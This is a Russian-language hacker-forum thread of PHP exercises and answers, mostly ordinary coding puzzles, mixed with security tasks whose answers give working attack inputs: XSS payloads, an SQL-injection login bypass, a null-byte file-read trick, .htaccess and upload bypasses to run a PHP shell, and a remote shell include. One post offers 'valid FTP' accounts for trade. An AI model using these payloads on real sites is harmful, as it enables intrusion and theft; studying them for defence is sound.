$text = htmlspecialchars($text);


Но далее идет регулярное выражение, которое преобразует, фильтрованный функций htmlspecialchars, текст, находящийся меж двойных скобок ("). Используя ББ код [HREF=()HREF] можно передать регулярному выражению текст, с "не правильно" расставленными кавычками, благодаря чему текст, находящийся после второго ББ кода (который "закрыл" первый) будет декодирован aka преобразован в html код и записан в БД. Вуаля - активная XSS.

Ядовитый код:
[HREF=([HREF=(asd)HREF]<script>alert(2)</script>)HREF]
который будет преобразован в
<a href="<a href="asd"><script>alert(2)</script>">

Krist_ALL
22.06.2009, 11:27
SleepShadowWeb, 9 задание не правильно сделал, остальные правильно! Молодец.

Добавил еще 3 задания.

d_x
22.06.2009, 12:09
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function replace_hex($m)
{
return '0x'.strtoupper(dechex($m[1]));
}

print $str;

Extremal
22.06.2009, 12:32
Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
PHP код:
<?php // Login.php
....
$query = "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
?>
login = 'or'1=1'
pass = 'or'1=1'

FireFenix
22.06.2009, 12:47
Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.

POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
PHP код:
<?ph
$id = $_REСQUEST['id'];
?>

Правильно не $_REСQUEST а $_REQUEST
При global On и опции GPC будет записанно 2
Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней

Extremal
22.06.2009, 13:06
Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php

<?php

$f = (string)@$_GET['f'];
$f = str_replace('/', '', $f);
$f .= .inc;

if (file_exists($f)) {
echo htmlspecialchars(file_get_contents($f)); }

else exit;
?>
magic_quotes_gpc = OFF
http://site.com/file.php?f=config.php%00

Doom123
22.06.2009, 13:21
BlackSun

Задумывалось немного по другому

можно и так ... =)

[/IMG]<script>alert(/lol/)</script>[/IMG]

если воспользоватся возможностями html_entity_decode =)

159932
22.06.2009, 13:22
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';

$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

function replace_hex($m)
{
return '0x'.strtoupper(dechex($m[1]));
}

print $str;


в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно..
strtoupper тут зачем ? поднимаем хекс товарищи!
в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..

m0nsieur
22.06.2009, 13:46
кстати, может объяснит кто-то зачем замену делать в отдельной функции, я пробовал у себя так preg_replace("/(\d+)/", dechex("\$1"),$str); возвращает везде 0, не пойму почему так, буду благодарен, если кто-то разъяснит =)

FireFenix
22.06.2009, 13:57
При указании отдельной функции в регулярке - то при вхождении будет выполненна эта функция

Krist_ALL
22.06.2009, 13:57
Dechex($1)

d_x
22.06.2009, 14:42
Забавно, получается, что самый короткий вариант:

$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);

astrologer
22.06.2009, 15:03
Забавно, получается, что самый короткий вариант:

$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
Почему не так:$str=preg_replace('/\d+/e',"'0x'.dechex($0)",$str);?

m0nsieur
22.06.2009, 15:09
Оказывается мой вариант рабочий был =) зря только \ ставил.

Krist_ALL
22.06.2009, 15:10
Ну я смотрю некоторые люди заинтересовались заданиями... Хотелось бы услышить мнение ваше. Сначало были одни тупые возражения в мой адрес. А теперь? Когда задания "работают" ? Калие недостатки? Что не нравится? Итд.

Doom123
22.06.2009, 15:16
Задание 014
preg_replace('#([^\W\d\s]+)#',md5("$1"),$text)

d_x
22.06.2009, 15:37
Новое задание от меня.

Есть массив:

$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);

Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив:

Array(
//все key1 - по возрастанию
Array('key1'=>0,'key2'=>0),
Array('key1'=>1,'key2'=>3),
Array('key1'=>2,'key2'=>5), //тут
Array('key1'=>2,'key2'=>2), //и тут key2 - по убыванию
Array('key1'=>3,'key2'=>7),
Array('key1'=>5,'key2'=>8), //аналогично тут
Array('key1'=>5,'key2'=>6), //тут
Array('key1'=>5,'key2'=>1), //и тут
Array('key1'=>6,'key2'=>9),
Array('key1'=>8,'key2'=>4)
)

Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.

Krist_ALL
22.06.2009, 23:24
3 новых задания ждут вас!!!)

Extremal
22.06.2009, 23:32
Задание 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных.
<?php
$a = 5;
$b = 7;
$a = $a + $b;
$b = $a - $b;
$a = $a - $b;
echo "a = ".$a."<br>";
echo "b = ".$b;
?>
ЗАДАНИЕ 019
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999);
Определить максимальное число, которое находится в массиве, и вывести его индекс.
<?php
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999,46);
$max = max($array);
$index = array_search($max , $array);
echo $max."<br>".$index;
?>

Krist_ALL
22.06.2009, 23:39
верно! молодец

Doom123
22.06.2009, 23:52
ЗАДАНИЕ 017 мне кажется или я намудрил? :D


<?php

$a = 'qwe qqqq qqqw w zed ed';
$arr = explode(' ',$a);


$str = array_shift($arr);

foreach($arr as $k => $v)
{
$string = explode(' ',$a,$k+2);
array_pop($string);

if(strripos(implode(' ',$string),$v) === false)
{
$str .= " ".$v;
} else {
$str .= " <b>".$v."</b>";
}
}

echo $str;

?>

Krist_ALL
23.06.2009, 00:24
Брр. Ну и код. Черт голову сломит! Все гораздо проще. Через регулярку.

Extremal
23.06.2009, 01:26
ЗАДАНИЕ 016 от d_x
<?php
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);

foreach ($arr as $i => $row)
{
$key1[$i] = $row['key1'];
$key2[$i] = $row['key2'];
}
array_multisort($key1, SORT_ASC,
$key2, SORT_DESC, $arr);
for($i=0;$i<=count($arr);$i++){
echo $arr[$i][key1].":";
echo $arr[$i][key2]."<br>";
}
?>
Долго голову ломал над этим заданием :)

d_x
23.06.2009, 01:42
Все правильно, только я просил функцию и говорил, что ключей у массивов может быть сколько угодно.
Вот более универсальное решение:

<?php
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);

$order=Array('key1'=>'asc', 'key2' => 'desc');
usort($arr, 'mysort');
print_r($arr);


function mysort($a,$b)
{
global $order;

$result=0;

foreach($order as $key=>$value)
{
if($a[$key]==$b[$key])
continue;

$result=$a[$key]<$b[$key] ? -1 : 1;
if($value=='desc') $result=-$result;

break;
}

return $result;
}
?>

LEE_ROY
23.06.2009, 01:57
ЗАДАНИЕ 016 от d_x

мое пьяное решение )
<?php

$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);

function cmp( $first, $second )
{
if ($first < $second) {
return -1;
}
else {
return 1;
}
}

usort($arr, 'cmp');
print_r($arr);

?>

исправил, теперь усе работает )

d_x
23.06.2009, 02:04
мое пьяное решение )
LEE_ROY, задание уже сделали, да и я написал ответ.
Твое решение неверное, сравнил бы вывод как должно быть и как у тебя)

LEE_ROY
23.06.2009, 02:06
LEE_ROY, задание уже сделали, да и я написал ответ.
Твое решение неверное, сравнил бы вывод как должно быть и как у тебя)
сори, на один глаз невижу ужо :D

Pashkela
23.06.2009, 02:40
Задание 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных.


<?php
// Исходные
$a = 5;
$b = 7;
// Решение
$a = 7;
$b = 5;
?>

Doom123
23.06.2009, 02:57
Брр. Ну и код. Черт голову сломит! Все гораздо проще. Через регулярку.

эт ты мне? реглярка? хм.. щя подумаем :D

c0n Difesa
23.06.2009, 10:15
<?php
$b = $a + $b;
$a = $b - $a;
$b = $b - $a;
?>

Krist_ALL
23.06.2009, 10:53
Так, кто говорил что не надо про уязвимости?
А потом мне попадаютс сайты с таким кодом if(file_exists($_GET['file'])) include($_GET['file']); УЖАС! А еще я читал что зачем морочится с филтрами если можно ве переменный передавать в POST, его же не возможно подменить! Я прям так и упал под стол.

БЕЗОПАСНОСТЬ а не взлом в заданиях. Код должен быть безопасным - поймите вы это.

ПО поводу коротких решений... Все учту.

Pashkela
23.06.2009, 13:21
А еще я читал что зачем морочится с филтрами если можно ве переменный передавать в POST, его же не возможно подменить! Я прям так и упал под стол.


А можно поподробнее - почему POST нельзя подменить?

wildshaman
23.06.2009, 13:23
А можно поподробнее - почему POST нельзя подменить?
В том-то и соль, что есть умники, котоыре пишут вот такой вот бред, а кристалл охренел от этого :)
Ваш К.О.

Krist_ALL
23.06.2009, 13:30
Верно, wildshaman, такие вот умники)

Несколько заданий щас добавлю.

Дело в том, что я щас с компа, а скоро буду с gprs и буду реже быть на ачате - траф ужас! Как быть ХЗ.Тему не буду бросать , просто буду по реже заходить.

Extremal
23.06.2009, 13:54
Задание 021 от .:Enot:.
<?php
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$array = array_merge($array1,$array2);
sort($array);
$text = implode(",", $array);
$result1 = substr($text , 0, $num*2-1);
$result2 = substr($text , $num*2);
$arr1 = explode (",", $result1);
$arr2 = explode (",", $result2);
echo "<pre>";
print_r($arr1);
echo "</pre>";
echo "<pre>";
print_r($arr2);
echo "</pre>";
?>
$num любая

SleepShadowWeb
23.06.2009, 14:09
21:

$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);

$my = array_merge($array1, $array2);
array_multisort($my, SORT_NUMERIC, SORT_ASC);

$rez1 = array_slice($my, 0, $num);
$rez2 = array_slice($my, $num);

print_r($rez1);
print_r($rez2);


20:

function my_implode($glue, $arr)
{
$rez = "";
foreach($arr as $k=>$v)
{
$rez .= $v.$glue;
}
return substr($rez, 0, strlen($rez) - strlen($glue));
}

$arr = array('aaa', 'bbb', 'ccc');
$rez = my_implode(",,", $arr);

print_r($rez);


17:

$str = "Ламерок ламер нег полка пол ЛК";
$w = explode(" ", $str);

$rez = $w[0];
$len = strlen($w[0]);
for($i = 1; $i < count($w); $i++)
{
$s = substr(strtolower($str), 0, $len + $i);
$len += strlen($w[$i]);
$pos = strpos($s, strtolower($w[$i]));

if ($pos === false) {
$rez .= " ".$w[$i];
} else {
$rez .= " <font color=red>".$w[$i]."</font>";
}
}

echo $rez;

SleepShadowWeb
23.06.2009, 14:12
Задание 021 от .:Enot:.
<?php
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$array = array_merge($array1,$array2);
sort($array);
$text = implode(",", $array);
$result1 = substr($text , 0, $num*2-1);
$result2 = substr($text , $num*2);
$arr1 = explode (",", $result1);
$arr2 = explode (",", $result2);
echo "<pre>";
print_r($arr1);
echo "</pre>";
echo "<pre>";
print_r($arr2);
echo "</pre>";
?>
$num любая


работать не будет, проверь если все цифры в массивах > 10

SleepShadowWeb
23.06.2009, 14:22
23: на 10 деляться все числа, возможно в вопросе имеется ввиду без остатка

function del($s)
{
return ($s[1]%10)?"no":"yes";
}

$str='101';

echo preg_replace_callback("/(\d+)/", "del", $str);

Extremal
23.06.2009, 14:22
работать не будет, проверь если все цифры в массивах > 10
Действительно =( А я об этом что то и не задумался,так на скорую руку набросал.

roddik
23.06.2009, 18:17
20:
function oin($glue, $arr) {
$res = '';
$add = false;
foreach ($arr as $b) {
if ($add) $res .= $glue;
if (!$add) $add = true;
$res .= $b;
}

return $res;
}

print oin(', ', array('a', 'b', 'c'));

21:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);

$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);

print_r($one);
print_r($two);

22:

$arr = array(3 => 'a', 5 => 'b', 9 => 'c');

#foreach
$vals = array_keys($arr);
for ($i=0; $i<count($vals); $i++) {
print $vals[$i].' => '.$arr[$vals[$i]]."\n";
}

23:
print preg_match('#0$#', '1543230')?'yes':'no';

L I G A
23.06.2009, 18:50
21:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);

$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);

print_r($one);
print_r($two);


немного подправил, количество элементов в первом массиве должно определяется в переменной $num.

<?php
$num = 10;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);

$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, $num );
$two = array_slice($big, $num );
echo "<pre>";
print_r($one);
echo "<pre>";
echo "<pre>";
print_r($two);
echo "<pre>";
?>

roddik
23.06.2009, 21:22
да, спс, проглядел немножко

Krist_ALL
24.06.2009, 19:04
тАк, Модератор скоро почистит тему и не флдудите!!! тока решения или новые зададиня! о новростях буду сообщать в первом посте.

Krist_ALL
26.06.2009, 17:47
3 новых задания появились)
Буду рад, если подкините заданий, а то моя фантазия на исходе)

Kaimi
26.06.2009, 18:26
Задание 025

Назвать файл file.php.fdjhhd или скажем .php3, или залить пхп код в хтмл файле и htaccess c текстом
AddType application/x-httpd-php .html .htm


Задание 026

Потому что должно выполниться или
$b <= $a && $a == $c
или
$b > $c

Второе выполняется и присваивается 0

roddik
26.06.2009, 18:42
24:

ob_start();
$time1 = microtime(1);

for ($j = 0; $j < 10000; $j++) {
for($i=0;$i<10;$i++)
{ echo '1php '; }
}

$a = (microtime(1)-$time1);

$time1 = microtime(1);

for ($j = 0; $j < 10000; $j++) {
while($i<10) {
echo 'w1';
$i +=1;
}
}

$b = (microtime(1)-$time1);
ob_end_clean();

echo "A: $a, B: $b";

A: 0.0332159996033, B: 0.00275301933289
второй вариант быстрее

25:
хз, может расширение php4 попробовать, или взять левое расширение и добавить .htaccess, в котором оно будет прописано для пхп

26:
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;

$d = 0&&0 || 1?0:1; у || приоритет меньше, чем у &&
$d = 0 || 0
$d = 0

L I G A
26.06.2009, 19:30
025
мб залить хтмл файл с таким содержанием:

<?php
require_once('http://mysite.com/shell.php');
?>

Krist_ALL
26.06.2009, 21:05
roddik, 024 впринципе правильно, но хачем нада было в фор сувать остается загадкой.

025 ьож правильно родик решил. - взять левое расширение и залить еще хтаккес.

026 немного не правиьно родик сделал

Zedi
26.06.2009, 22:28
задание 025
залить файл хтассес и там прописать чтоб например файлы с расширение *.jpg выполнялись как php

Krist_ALL
26.06.2009, 22:39
Zedi, да, я это и написал в своем посте. Как вы задания быстро решаете..) за вами не угонишься)))

Doom123
27.06.2009, 03:06
26:

потому что выполняетсяя хотябы одна часть условия .. $b > $c т.к там стоит OR

вот и выводит 0..

Krist_ALL
27.06.2009, 12:13
DOOM123, вырно просто немного другое хотел услышать.

потому что выполняетсяя хотябы одна часть условия .. $b > $c т.к там стоит OR
Это да, но подловить я вас хотел на ?0:1
это означает иф -
если true =>0//что необычноr
если false =>1//что тоже неоьбычно т.к. труе вообщето 1 а falsre 0

Вот)

Krist_ALL
28.06.2009, 11:34
Я уезжаю на дачу, буду писать редко т.к gprs, надеюсь вы эту тему не забросите., добавляйте задания и решайте их) Всем удачи!

Doom123
02.07.2009, 21:45
чёт тема умела ... =)
мне чтоль задания придумать?...

хм .. кароче напишите умный разделитель текста ... ф-цию в который указывашь на сколько частей делить текст и указать сам текст ... а на выходе был массив разделёного текста .. .

но главное чтоб он умно разделял текст .. чтоб разделитель понимал что если это целое слово нужно идти дальше ...

пример использования spl(2,$text);

хоть чтото полезние напишите =)

roddik
02.07.2009, 23:33
чёт тема умела ... =)
мне чтоль задания придумать?...

хм .. кароче напишите умный разделитель текста ... ф-цию в который указывашь на сколько частей делить текст и указать сам текст ... а на выходе был массив разделёного текста .. .

но главное чтоб он умно разделял текст .. чтоб разделитель понимал что если это целое слово нужно идти дальше ...

пример использования spl(2,$text);

хоть чтото полезние напишите =)

function spl($text, $parts) {
$res = array();
$l = intval(strlen($text)/$parts);

preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);

$last = $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);

foreach($sp[1] as $arr) {
$res[] = $arr[0];
}

$res[] = substr($text, $last);
return $res;
}

$text = <<<EOF
Моей работой является работа с персоналом. У меня даже должность так называется — директор по обучению и развитию персонала. Должность даёт много возможностей, которые мне нравятся, но есть также и ведро ложка дёгтя: с людьми я общаюсь всё более и более опосредованно. У нас в конторе, как наверняка и везде, где больше 100 человек, наличествует некая организационная иерархия, которая несколько эээ… отгораживает. Так вот очень часто получается так, что приходит человек с заявлением об увольнении… а ты удивляешься. Это мягко говоря — чаще ты стоишь как громом поражённый и не знаешь, как реагировать. Естественно, шок проходит и ты начинаешь прояснять обстановку…
Вот тут и выясняются интересные моменты. Кому-то некуда расти, кого-то в отпуск не отпускали уже год, кому-то текущий проект поперёк горла, кто-то хочет из тестировщика переквалифицироваться в программиста, С’шник хочет учить .NET, а у кого-то место под кондиционером и ему холодно… Проблемы разные, но чаще всего вполне решаемые. Дело только всё в том, что решать уже поздно. Заявление уже написано, и даже, если ложечки найдутся, осадочек-то всё равно останется. Вот и уходят люди — часто на более высокую зарплату, но не менее часто на такую же, а бывает и на меньшую. Вот это и есть проблема.
EOF;

print_r(spl($text, 5));

Хех, а может давайте так, кто первый решает предыдущее задание, выдумывает следующее, а потом в зависимости от сложности задания все скидываются репой?

В общем задание - есть номер формочки на хмтл паге, надо составить массив соответствия имен инпутов надписям, которые стоят рядом с ними ;)

Doom123
02.07.2009, 23:42
чтото не пашет =)


<?php

function spl($text, $parts) {
$res = array();
$l = intval(strlen($text)/$parts);

preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);

$last = $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);

foreach($sp[1] as $arr) {
$res[] = $arr[0];
}

$res[] = substr($text, $last);
return $res;
}


echo "<PRE>";


$a = '123456789 123456789 123456789
132456789 123465789 132456789 123456789';

print_r(spl($a,2));
?>


Вывод


Array
(
[0] => 123456789 123456789 123456789
132456789 123465789 132456789 123456789
)

roddik
02.07.2009, 23:47
Да, я рассчитывал на текст с точечками, так красивее получается) ну если надо разбивать циферки, то меняем
preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
на
preg_match_all('#(.{'.$l.',}?\s)#is', $text, $sp, PREG_OFFSET_CAPTURE);

Doom123
02.07.2009, 23:50
уху уже нашёл .... но почему не сделать для всех случаев жизни?

preg_match_all('#(.{'.$l.',}?[,\.\?!\s])#is', $text, $sp, PREG_OFFSET_CAPTURE);

roddik
02.07.2009, 23:54
уху уже нашёл .... но почему не сделать для всех случаев жизни?

preg_match_all('#(.{'.$l.',}?[,\.\?!\s])#is', $text, $sp, PREG_OFFSET_CAPTURE);

потому что в человеческом тексте идет много пробелов, потом точка или запятая, поэтому такая регуляка будет в основном срабатывать на пробелы

Doom123
03.07.2009, 00:02
имелось виду чтоб функция не урезала слова ... но чтоб делила код на части...

mailbrush
03.07.2009, 12:59
Задание 005
Регулярка выдает true, потому что "#" - это якорь и все, что находится после него в переменную не попадает. Кто не знает для чего служит якорь - го гугл.

PS: Спс Tigger'y, за то, что напомнил, что решетка якорем зовется. А то я все анчор и анчор, даже не знал, что это с английского - якорь :)

mailbrush
03.07.2009, 13:14
Задание 025
Залить файл в расширении .phtml

Krist_ALL
10.07.2009, 13:43
3 новых задания написал!

Тепер за выполенное задание вы получаете +5

FireFenix
10.07.2009, 13:47
Зададние 027
Чего не знал програмист, кодя этот скрипт.

<?php
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$number'");
?>

1) Что он использовал не ту переменную для выборки из БД?
2) Если он всёже ошибся в имени перменной, то наверное можно было бы использовать mysql_real_escape_string

Fepsis
10.07.2009, 13:50
Задание 029

http://ru.php.net/manual/ru/function.strrev.php

Или я что-то не так понял..?!

Krist_ALL
10.07.2009, 13:50
Млин опечатался) в названии переменой

diGriz
11.07.2009, 00:13
Задание 028
word = m%. Запрос будет выглядеть так SELECT * FROM private WHERE word like '$b%' , т.е. выведет все слова на m

S00pY
11.07.2009, 00:21
Зададние 027
Одинарная кавычка останиться без изменения....

Ershik
11.07.2009, 00:31
Зададние 027

Нет фильтрации в sql запросе.
XSS исключена, т.к. htmlspecialchars() не будет выполнять зловредный код.
Должо быть так:

<?php
if (! preg_match("|^[\w\d\. ]+$|i", $name))
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$name'");

?>

Остальные задания выносят мозг....

beerhack
11.07.2009, 00:51
Задание 029
Написать скрипт зеркального отражения слов. На входе античат, на выходе тачитна - чтобы так можно было делать с любым словом.
<?php
$text = $_GET['text'];
echo strrev($text);
?>
:D
<?php
$text = $_GET['text'];
$len = strlen($text);
for($i=0;$i<$len;$i++)
{
$s =substr($text,$len-$i-1,1);
$rez = $rez.$s;
}
echo $rez;
?>

d_x
11.07.2009, 01:13
<?php
$text = $_GET['text'];
$len = strlen($text);
for($i=0;$i<$len;$i++)
{
$s =substr($text,$len-$i-1,1);
$rez = $rez.$s;
}
echo $rez;
?>
Ужасный вариант, если делать циклом, то так:

$text='тут текст';
$revtext='';
for($l=strlen($text),$i=$l-1;$i>=0;$i--)
$revtext.=$text{$i};

print $revtext;


А теперь напишите вариант для кодировки Unicode :)

Doom123
11.07.2009, 04:25
<?php
$text = 'blalba';

for($i = -strlen($text),$b = -1; $i <= $b; $b--)
echo substr($text,$b,1);

?>

imajo.ati
11.07.2009, 11:04
задание 29 есть в гугле ... google.ru/search?q=utf8+php+strrev

imajo.ati
11.07.2009, 11:22
вот мой вариант задания 29

<?php

$text = 'тут utf8 русский текст';
$revtext = '';

$i=0;
$len = strlen($text);
while($i<$len)
{
if ( ord($text[$i]) > 128 )
{
$revtext = $text[$i].$text[++$i] . $revtext;
++$i;
}
else
{
$revtext = $text[$i] . $revtext;
++$i;
}
}

echo $revtext;




UTF-8 — это представление Юникода
символы Юникода изображаются последовательностями длиной от 2 до 6 байт
(на деле, только до 4 байт, поскольку в Юникоде нет символов с кодом больше 10FFFF)

да, осталось только определить сколько байт символ занимает.. мой вариант от 1 до 2 =\


<?php

$text = 'тут utf8 русский текст';
$revtext = '';

$i=0;
$len = strlen($text);
while($i<$len)
{
if ( ord($text[$i]) > 128 )
{
if ( ord($text[$i]) == 255 )
{
if ( ord($text[$i+1]) == 255 )
{
$revtext = $text[$i].$text[++$i].$text[++$i].$text[++$i] . $revtext;
++$i;
}
else
{
$revtext = $text[$i].$text[++$i].$text[++$i] . $revtext;
++$i;
}
}
else
{
$revtext = $text[$i].$text[++$i] . $revtext;
++$i;
}
}
else
{
$revtext = $text[$i] . $revtext;
++$i;
}
}

echo $revtext;




так ?)

art2222
11.07.2009, 14:04
Задание 029
с циклом

<?php
$word = 'античат';
for ($i = 0; $i<strlen($word); $i++)
$b = $word[$i].$b;
echo $b;
?>

не изобретая велосипед

<?php
$word = 'античат';
echo strrev($word);
?>


Задание 026


//$d = $b<=$a && $a==$c || $b>$c ? 0 : 1;

$b<=$a --- false
$a==$c --- false

false && false == false

$b>$c --- true

false || true == true


Следует получаем из условия 0.

imajo.ati
11.07.2009, 16:52
йй

mailbrush
11.07.2009, 17:24
Задание 026
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;
Ессли ($b<=$a и ($a==c или $b>$c)) выводит 0.

Krist_ALL
11.07.2009, 18:09
ВСЕМ спасибо! Заданий теперь не будет неделю.
// Отыхать я еду)

ФТП ВАЛИД МНОГО кому надо? ОБмен на асю или если немного просто так.! СРОЧНО. до 00:00

Krist_ALL
26.08.2009, 15:11
И снова новые задания!
Пока 3 штуки добавил, потом еще напишу. Продолжаем решать задания)
Присылайте так-же свои задания, с удовольствием добавлю.

Pashkela
26.08.2009, 15:28
Есть такая форма загрузки картинок на сайт (например в админке, куда вы только что получили доступ через sql-inj):


<?php
if ($HTTP_POST_VARS['submit']) {
if (!is_uploaded_file($HTTP_POST_FILES['file']['tmp_name'])) {
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
//a file was uploaded
$maxfilesize=10240;

if ($HTTP_POST_FILES['file']['size'] > $maxfilesize) {
$error = "file is too large";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
if ($HTTP_POST_FILES['file']['type'] != "image/gif" AND $HTTP_POST_FILES['file']['type'] != "image/jpeg") {
$error = "This file type is not allowed";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES['file']['tmp_name'],"./".$HTTP_POST_FILES['file']['name']);
unlink($HTTP_POST_FILES['file']['tmp_name']);
print "File has been successfully uploaded!";
exit;
}
}
}
}
?>

<html>
<head></head>
<bоdу>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<?=$error?>
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</bоdу>
</html>


URL до скрипта загрузки: http://site.ru/admin/upload.php (просто как пример)

Задача: Написать скрипт на PHP, загружающий шелл вместо картинки, обойти проверку (т.е. загрузить файл с расширением .php)

Условия: magic_quotes_gpc=ON, register_globals=OFF

Форма заливки взята с реально действующего движка.

Цветным просьба не участвовать, т.к. легко:)

L I G A
26.08.2009, 15:31
Задание 030
<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?>
в результате мы получим массив :
Array ( [0] => Moscow [1] => London [2] => fox )
результат таков потому что у массивов $a,$b,$c есть совпадения в индексах(остались только разные индексы).
$a имели индексы 0, 1, 2.
$b - 0, 1.
$c - 0.
поскольку в сложении массив $b стоял первым то его елемнты есть в результирующем массиве $d ну и последний елемент массива $d [2] => fox
остался потому что неодин из елементов 3-их массивов $a,$b,$c не имел индекс [2]

m0nsieur
26.08.2009, 15:37
Задание 031

<?php
function cnt_arr($array, &$count = 0) {
foreach ($array as $value) {
if (is_array($value)) {
$count++;
cnt_arr($value, $count);
} else {
return;
}
}
}

$arr = array('1' => array('2' => array('1' => '2')));

$cnt = '';
cnt_arr($arr, $cnt);
echo($cnt);

?>

2 Pashkela А я бы просто через tamper data сменил Content-Type: text/plain на Content-Type: image/gif, но можно конечно и самому сформировать :)
Кстати, из какой это cms?

L I G A
26.08.2009, 16:23
Задание 032

<?php
function countspec($stroka){
for($i=0;$i<=strlen($stroka);$i++){
if($stroka{$i}!==htmlspecialchars($stroka{$i})){
$count++;
}
}
return $count;
}
$stroka='<a>';
echo countspec($stroka);//2 потому как < & >
?>

Pashkela
26.08.2009, 16:54
2 m0nsieur:

Задача - написать фактически сплойт. Joker-jar только что в ЛС отписал рабочий вариант:)

Что tamper data - ежу понятно, но тут раздел кодинг. Откуда по вашему сплойты на milw0rm.com берутся? Вот и польза будет

Тот же сплойт на fckeditor на пыхе

PS: Речь идет об автоматизации процесса

S00pY
26.08.2009, 17:00
Задание 032

<?php
function countspec($stroka){
for($i=0;$i<=strlen($stroka);$i++){
if($stroka{$i}!==htmlspecialchars($stroka{$i})){
$count++;
}
}
return $count;
}
$stroka='<a>';
echo countspec($stroka);//2 потому как < & >
?>
Не ахти имхо...
